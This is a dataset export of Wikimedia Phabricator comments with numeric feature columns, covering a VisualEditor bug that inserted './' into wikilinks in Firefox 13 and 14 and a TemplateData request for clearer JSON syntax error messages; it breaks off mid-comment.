I've been keeping this open as we //would// accept any patch doing this. Yes, there are relatively very few users, but it's not great to leave these users without an editor over something that's effectively trivial.",,,1459413492,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,143,,4.0,2.0,2.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,9.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,9.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,4.1063829787234045,0.8723404255319149,"QUOTE
QUOTE

I've been keeping this open as we //would// accept any patch doing this. Yes, there are relatively very few users, but it's not great to leave these users without an editor over something that's effectively trivial."
637782,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them",Should this task just be closed? I don't think anyone is going to put work into supporting  these really old Firefox versions.,,,1459413067,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,143,,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,12.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.038461538461538,1.0,Should this task just be closed? I don't think anyone is going to put work into supporting  these really old Firefox versions.
230977,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Just wondering, has anybody tested VE on those old Firefoxes somewhat recently? The codebase is changing so fast this might as well be magically fixed now.",,,1379263769,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,10,,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,31.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.482758620689655,1.0,"Just wondering, has anybody tested VE on those old Firefoxes somewhat recently? The codebase is changing so fast this might as well be magically fixed now."
230969,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","(In reply to comment #11)
> I think you viewed this bug solely as a blocker to bug 50848. I agree that it
> no longer is, but I don't believe this bug is now resolved/fixed. The issue
> hasn't been fixed, as I understand it, just worked around. I'm re-opening the
> bug, but removing bug 50848 as a blocker, lowering the importance fields, and
> clarifying the bug summary.

Well, had you given me more than 30 seconds I was in the middle of creating a new bug, but never mind. :-) Repurposing this one.",,,1373502359,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,18.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,4.0,0.0,4.0,0.0,6.0,10.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,3.183673469387755,0.7959183673469388,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well, had you given me more than 30 seconds I was in the middle of creating a new bug, but never mind. :-) Repurposing this one."
230960,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","I think you viewed this bug solely as a blocker to bug 50848. I agree that it no longer is, but I don't believe this bug is now resolved/fixed. The issue hasn't been fixed, as I understand it, just worked around. I'm re-opening the bug, but removing bug 50848 as a blocker, lowering the importance fields, and clarifying the bug summary.",,,1373502220,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,6.0,1.0,10.0,8.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,4.0,3.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,15.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,8.0,4.0,8.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,8.0,1.0,0.0,0.0,3.551282051282051,0.6153846153846154,"I think you viewed this bug solely as a blocker to bug 50848. I agree that it no longer is, but I don't believe this bug is now resolved/fixed. The issue hasn't been fixed, as I understand it, just worked around. I'm re-opening the bug, but removing bug 50848 as a blocker, lowering the importance fields, and clarifying the bug summary."
230949,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","We believe that this should not recur due to the (hopefully-temporary) blacklisting of Firefox 13 and 14, which is now live in production. Consequently, I'm marking this bug as fixed. Please re-open if you find it happening again.",,,1373501510,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,4.0,2.0,10.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,10.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,2.0,4.0,0.0,8.0,16.0,2.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,3.86,0.9,"We believe that this should not recur due to the (hopefully-temporary) blacklisting of Firefox 13 and 14, which is now live in production. Consequently, I'm marking this bug as fixed. Please re-open if you find it happening again."
230940,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Change 72675 merged by jenkins-bot:
Blacklist Firefox 13 and 14 too

https://gerrit.wikimedia.org/r/72675",,,1373334336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.117647058823529,1.0,"Change 72675 merged by jenkins-bot:
Blacklist Firefox 13 and 14 too

GERRIT_URL"
230932,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Change 72675 had a related patch set uploaded by Jforrester:
Blacklist Firefox 13 and 14 too

https://gerrit.wikimedia.org/r/72675",,,1373332958,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,"Change 72675 had a related patch set uploaded by Jforrester:
Blacklist Firefox 13 and 14 too

GERRIT_URL"
230927,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them",Can reproduce in Firefox 13 and 14; cannot reproduce in 15 or 17 or 20. Interestingly in Firefox 13 I get a little bit more normalization in the diff as well. Looks like we get more progressively more broken the further down we go. :P,,,1373135486,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,4.0,0.0,12.0,0.0,6.0,12.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,3.8,0.72,Can reproduce in Firefox 13 and 14; cannot reproduce in 15 or 17 or 20. Interestingly in Firefox 13 I get a little bit more normalization in the diff as well. Looks like we get more progressively more broken the further down we go. :P
230923,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Confirmed in Firefox 14. Steps to reproduce:

1) Open https://en.wikipedia.org/wiki/HELLP_syndrome?veaction=edit as a logged in user

2) Make an unrelated edit

3) Press ""Save"" and ""Review your changes"".

The link [[Right upper quadrant (abdomen)|right upper quadrant]] is transformed to [[./Right_upper_quadrant_(abdomen)|right upper quadrant]].",,,1373134893,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,17.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,8.0,5.0,0.0,6.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.923076923076923,0.6615384615384615,"Confirmed in Firefox 14. Steps to reproduce:

1) Open URL as a logged in user

2) Make an unrelated edit

3) Press ""Save"" and ""Review your changes"".

The link [[Right upper quadrant (abdomen)|right upper quadrant]] is transformed to [[./Right_upper_quadrant_(abdomen)|right upper quadrant]]."
230918,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","According to https://de.wikipedia.org/wiki/Wikipedia:Technik/Text/Edit/VisualEditor/Beta2013-07#VE_zerschie.C3.9Ft_Kats_und_Wikilinks this seems to be an issue in old Firefox: FF14 inserted the ./, while FF22 didn't.",,,1373097754,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,4.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,22.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.5217391304347827,0.9565217391304348,"According to URL this seems to be an issue in old Firefox: FF14 inserted the ./, while FF22 didn't."
230914,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","I think it might be to do with having punctuation in the links in this edit
https://en.wikipedia.org/w/index.php?title=Soccer_in_the_United_States&diff=prev&oldid=563041224
this the links which have ' or ( in them which get mangled other links are ok so
[[United States men's national soccer team|men's national team]] gets changed to 
 [[./United_States_men's_national_soccer_team|men's national team]] but [[FIFA World Cup|World Cup]] is unchanged. And [[National Professional Soccer League (1967)|National Professional Soccer League]] is changed to [[./National_Professional_Soccer_League_(1967)|National Professional Soccer League]].",,,1373089586,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,1.0,0.0,7.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,4.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,3.0,16.5,0.0,2.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,4.5,14.5,0.0,0.5,0.0,1.5,0.0,1.0,0.0,0.5,0.5,0.0,0.0,9.0,4.666666666666667,0.6372549019607843,"I think it might be to do with having punctuation in the links in this edit
URL
this the links which have ' or ( in them which get mangled other links are ok so
[[United States men's national soccer team|men's national team]] gets changed to 
 [[./United_States_men's_national_soccer_team|men's national team]] but [[FIFA World Cup|World Cup]] is unchanged. And [[National Professional Soccer League (1967)|National Professional Soccer League]] is changed to [[./National_Professional_Soccer_League_(1967)|National Professional Soccer League]]."
230911,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","(In reply to comment #1)
> Escalating priority. Additional example:
> 
> https://en.wikipedia.org/w/index.
> php?title=OMICS_Publishing_Group&curid=35277259&diff=562944992&oldid=56157968
> 0
I can't reproduce this, and can in fact edit the page just fine: https://en.wikipedia.org/w/index.php?title=OMICS_Publishing_Group&diff=563024944&oldid=562947045

This bug must have some particularly nasty cache persistence properties; we've purged the Parsoid caches but that doesn't seem to have made it go away.",,,1373059132,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,2.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,8.0,6.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,9.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,5.0,6.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5606060606060606,0.803030303030303,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
I can't reproduce this, and can in fact edit the page just fine: URL

This bug must have some particularly nasty cache persistence properties; we've purged the Parsoid caches but that doesn't seem to have made it go away."
230906,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them",*** Bug 50539 has been marked as a duplicate of this bug. ***,,,1373020641,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50539 has been marked as a duplicate of this bug. ***
230900,"VisualEditor: ./ inserted at the start of wikilinks when using Firefox 13 and 14, so we can unblacklist them","Escalating priority. Additional example:

https://en.wikipedia.org/w/index.php?title=OMICS_Publishing_Group&curid=35277259&diff=562944992&oldid=561579680",,,1373011178,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-tyu752voayr4g6elcmgx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.25,1.0,"Escalating priority. Additional example:

URL"
52511,TemplateData: Get better error messages for JSON syntax errors,"Enhancement request for more informative error messages - as simple as ""Syntax error in JSON on line foo."" would be better than the current message, which is just ""Syntax error in JSON.""

| {F34099979} | {F34099994}",Lowest,10.0,1372704060,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_description,open,True,c1,3,False,False,,0,,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,10.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,3.7708333333333335,0.7291666666666666,"Enhancement request for more informative error messages - as simple as ""Syntax error in JSON on line foo."" would be better than the current message, which is just ""Syntax error in JSON.""

| {F34099979} | {F34099994}"
1824686,TemplateData: Get better error messages for JSON syntax errors,"While I agree this is a valid feature request, I'm afraid there isn't much we can do at this point. I tried to annotate the generic error message with what `json_last_error_msg()` reports. All it says is ""Syntax error"". 😞 We would need to use another JSON parser to fulfill this feature request. That's unlikely to happen.",,,1638173623,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,False,,,439,,3.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,7.0,0.0,1.0,10.0,0.0,6.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,12.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,4.0,15.0,1.0,0.0,12.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,10.0,1.0,0.0,3.0,0.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.701492537313433,0.746268656716418,"While I agree this is a valid feature request, I'm afraid there isn't much we can do at this point. I tried to annotate the generic error message with what CODE reports. All it says is ""Syntax error"". 😞 We would need to use another JSON parser to fulfill this feature request. That's unlikely to happen."
1662736,TemplateData: Get better error messages for JSON syntax errors,"This is not the same issue as T256574.


T256574 is about the error message when clicking the ""Manage TemplateData"" button to open the ""Template documentation editor"" dialog:
| {F34099977} | {F34099996}

This is about the error message when clicking ""Publish changes"": (currently this error doesn't appear at all, that's yet another separate issue filed as T258790)
| {F34099979} | {F34099994}",,,1612991707,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,True,,,397,,1.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,15.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9302325581395348,0.627906976744186,"This is not the same issue as T256574.


T256574 is about the error message when clicking the ""Manage TemplateData"" button to open the ""Template documentation editor"" dialog:
| {F34099977} | {F34099996}

This is about the error message when clicking ""Publish changes"": (currently this error doesn't appear at all, that's yet another separate issue filed as T258790)
| {F34099979} | {F34099994}"
243551,TemplateData: Get better error messages for JSON syntax errors,"(In reply to comment #2)
> Presumably this could be done if bug 50169 was implemented, though. :-)

Well, in case of bug 50169 (VisualEditor plugin for TemplateData) there would never be a syntax error in the JSON because the user wouldn't be editing it directly. They'd be using a form-like interface to interact with it (VE would generate the JSON which is always valid).

However if the VE plugin would have a raw mode to edit the JSON (e.g. using an Ace surface like Extension:CodeEditor does), we could use its JSHint integration to get inline errors by line/char highlighting (e.g. like in Sublime).",,,1381079222,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.5,2.0,1.5,0.5,0.0,1.0,5.0,1.0,0.0,0.0,0.5,1.0,1.0,5.5,9.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,1.5,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,2.5,11.5,1.5,0.0,7.0,0.0,0.0,0.0,0.5,7.5,1.0,1.0,0.0,3.0,9.5,5.5,0.0,0.0,0.0,3.0,0.0,1.0,2.5,0.0,2.0,0.0,0.0,0.0,3.774011299435028,0.8152542372881356,"(In reply to comment #2)
QUOTE

Well, in case of bug 50169 (VisualEditor plugin for TemplateData) there would never be a syntax error in the JSON because the user wouldn't be editing it directly. They'd be using a form-like interface to interact with it (VE would generate the JSON which is always valid).

However if the VE plugin would have a raw mode to edit the JSON (e.g. using an Ace surface like Extension:CodeEditor does), we could use its JSHint integration to get inline errors by line/char highlighting (e.g. like in Sublime)."
243547,TemplateData: Get better error messages for JSON syntax errors,"For the moment, you can use TemplateDataEditor to be able to create the <templatedata/> without editing any real JSON.

http://en.wikipedia.org/wiki/User:NicoV/TemplateDataEditor",,,1374506154,,PHID-USER-o34e5i3eq4nstbvcf26w,False,,,PHID-TASK-n2g6v2vrtf3k3hkqsoi3,task_subcomment,,True,c1,3,False,,,3,,4.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,16.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.2,0.92,"For the moment, you can use TemplateDataEditor to be able to create the <templatedata/> without editing any real JSON.

URL"
243542,TemplateData: Get better error messages for JSON syntax errors,"**weskaggs** wrote:

Displaying the contents of the line at which an error is detected, with a few lines around it for context, would be almost as useful as a line number.  Of course the actual error can be a long way off from the point at which a syntax error is detected, but the information would still be helpful.  Adding information about the type of error would make it even better.  Really any information at all about the nature of the error would be an 